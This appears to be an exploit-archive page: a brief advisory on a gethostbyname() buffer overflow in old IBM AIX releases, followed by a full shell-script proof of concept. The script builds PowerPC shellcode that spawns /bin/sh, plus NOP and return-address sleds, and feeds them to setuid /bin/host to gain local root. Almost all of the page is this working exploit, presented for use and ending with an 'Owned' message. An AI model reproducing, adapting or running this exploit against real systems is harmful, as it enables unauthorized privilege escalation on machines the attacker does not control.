source: https://www.securityfocus.com/bid/6853/info
A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname()' library function, which is used to resolve network addresses.
The 'gethostbyname()' function fails to implement sufficient bounds checking on data copied into local memory buffers.
Under some circumstances, attackers may exploit this issue to overwrite sensitive locations in memory and may leverage the issue to execute arbitrary commands with the privileges of the vulnerable application. This issue may be local or remote, depending on the particular applications that use the function on vulnerable systems.
Several applications may implement the 'gethostbyname()' function, thus exposing them to this vulnerability. Applications known to implement 'gethostbyname()' include various implementations of 'ping', 'ftp', and 'tftp'. Other applications may also be vulnerable.
#!/bin/sh
#######################################
## Local r00t 'shell-exploit' for: ##
## gethostbyname() Buffer Overflow ##
## [ BID 6853 / CVE-1999-0101 ] ##
## - - - ##
## By Roman Medina-Heigl Hernandez ##
## aka RoMaNSoFt <roman@rs-labs.com> ##
## ##
## Madrid, 28.Sep.2006 ##
## ================================= ##
## Public release. Version 1. ##
## --------------------------------- ##
## -= http://www.rs-labs.com/ =- ##
#######################################
#############################################################################
# #
# This is merely a proof of concept for what I call a "shell-exploit" #
# #
# * Original IBM Advisory: ERS-SVA-E01-1996:007.1 (03.Dec.1996) #
# * Affected platforms: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x #
# * Exploit tested on: PowerPC-604 running AIX 4.1.4.0 #
# * No need to use a compiler, perl, etc. Shell-scripting power! #
# Now you know what a pure 'shell-exploit' is :-) #
# * Syntax: #
# % ./rs_aix_host.sh [RET length] [NOP length] [4140|41|42] #
# #
###############################################################--[ EOT ]--###
### Default configuration
ret_length=100
nop_length=300
### Return Address
# AIX 4.1.4.0 - Tested
TGT4140="AIX 4.1.4.0"
RET4140="\057\362\054\330" # 0x2ff22cd8
# Generic AIX 4.1 - Untested, we assume the former one. Mail me if you have a better guess
TGT41="AIX 4.1.x"
RET41=$RET4140
# Generic AIX 4.2 - Untested, we assume the former one. Mail me if you have a better guess
TGT42="AIX 4.2.x"
RET42=$RET4140
### Shellcode (LSD's Asmcodes - PowerPC/AIX)
#
# char _shellcode[]= /* 12*4+8 bytes */
# "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
# "\x40\x82\xff\xfd" /* bnel <shellcode> */
# "\x7f\xe8\x02\xa6" /* mflr r31 */
# "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
# "\x38\x7f\xff\x08" /* cal r3,-248(r31) */
# "\x38\x9f\xff\x10" /* cal r4,-240(r31) */
# "\x90\x7f\xff\x10" /* st r3,-240(r31) */
# "\x90\xbf\xff\x14" /* st r5,-236(r31) */
# "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
# "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
# "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
# "\x44\xff\xff\x02" /* svca */
# "/bin/sh"
# #ifdef V41
# "\x03"
# #endif
# #ifdef V42
# "\x02"
# #endif
PARTIALCODE="\
\174\245\052\171\100\202\377\375\177\350\002\246\073\377\001\040\
\070\177\377\010\070\237\377\020\220\177\377\020\220\277\377\024\
\210\137\377\017\230\277\377\017\114\306\063\102\104\377\377\002\
\057\142\151\156\057\163\150\
"
# AIX 4.1
SHELLCODE41=$PARTIALCODE"\003"
# AIX 4.2
SHELLCODE42=$PARTIALCODE"\002"
### NOP
NOP="\117\377\373\202" # 0x4ffffb82 /* cror 31,31,31 */
### Setuid binary (target)
CMD=/bin/host
### Functions
oct2bin_setup()
{
# Better to use printf binary if present
if [ `printf "dSR"` = "dSR" ] >/dev/null 2>&1 ; then
_PRINTCMD="printf"
_SYSV=""
elif [ `echo "RS\c"` = "RS" ] >/dev/null 2>&1 ; then
# System V
_PRINTCMD="echo"
_SYSV="\c"
else
# Linux/BSD
_PRINTCMD="echo -n -e"
_SYSV=""
fi
if ! [ `$_PRINTCMD "dSR"$_SYSV` = "dSR" ] >/dev/null 2>&1 ; then
echo "Sorry, I don't know how to write raw binary data :-("
echo "Please, modify oct2bin* functions and try again!"
exit 2
fi
}
oct2bin()
{
$_PRINTCMD $1$_SYSV
}
printhex()
{
oct2bin $1 | od -t x4 -A n | tr -cd 0123456789abcdefABCDEF
}
### Exploit really starts here...
echo "#######################################"
echo "## Local r00t 'shell-exploit' for: ##"
echo "## gethostbyname() Buffer Overflow ##"
echo "## [ BID 6853 / CVE-1999-0101 ] ##"
echo "## . . . . . . . . . . . . . . . ##"
echo "## By: RoMaNSoFt <roman@rs-labs.com> ##"
echo "#######################################"
echo
### Check target binary
if [ -x $CMD -a -u $CMD ] ; then
echo "[*] Target binary has suid bit [$CMD]"
else
echo "Sorry, target doesn't exist or it's not suid or cannot be executed"
exit 3
fi
### We accept (optional) parameters
if [ $1 ] ; then
ret_length=$1
fi
if [ $2 ] ; then
nop_length=$2
fi
# Default target platform
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41
if [ $3 ] ; then
if [ $3 = "4140" ] ; then
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41
elif [ $3 = "41" ] ; then
TARGET=$TGT41
RET=$RET41
SHELLCODE=$SHELLCODE41
elif [ $3 = "42" ] ; then
TARGET=$TGT42
RET=$RET42
SHELLCODE=$SHELLCODE42
fi
fi
### First, we convert octal strings to raw binary
oct2bin_setup
RET=`oct2bin $RET`
NOP=`oct2bin $NOP`
SHELLCODE=`oct2bin $SHELLCODE`
### Second, we create the NOP & RET sleds
echo "[*] Setting up exploitation environment..."
ret_sled=""
i=$ret_length
while [ $i != 0 ]; do
ret_sled=$ret_sled$RET
i=$(($i-1))
done
nop_sled=""
i=$nop_length
while [ $i != 0 ]; do
nop_sled=$nop_sled$NOP
i=$(($i-1))
done
echo "--> TARGET = $TARGET // RET = 0x"`printhex $RET`" // RETs = $ret_length //"\
" NOPs = $nop_length <--"
### Prior to exploitation the environment will be un-exported to preserve memory layout
### and previous RET calculations
for i in `env | cut -d= -f1` ; do
typeset +x $i
done
### Exploit it!
echo "[*] Exploiting..."
PAD="A"
ipad="A"
i=0
SUCCESS=0
while [ $i -lt 4 ]; do
jpad=""
j=0
while [ $j -lt 4 ]; do
EGG=$ipad$nop_sled$SHELLCODE $CMD $jpad$ret_sled
if [ $? = 0 ]; then
SUCCESS=1
break 2
fi
jpad=$PAD$jpad
j=$(($j+1))
done
ipad=$PAD$ipad
i=$(($i+1))
done
### Finish politely ;-)
if [ $SUCCESS = 1 ]; then
echo "--> Guessed PAD: EGG = $i // RET = $j <--"
echo "Owned :-)"
STATUS=0
else
echo "Bad luck :-("
STATUS=1
fi
exit $STATUS
# --[ EOT ]--
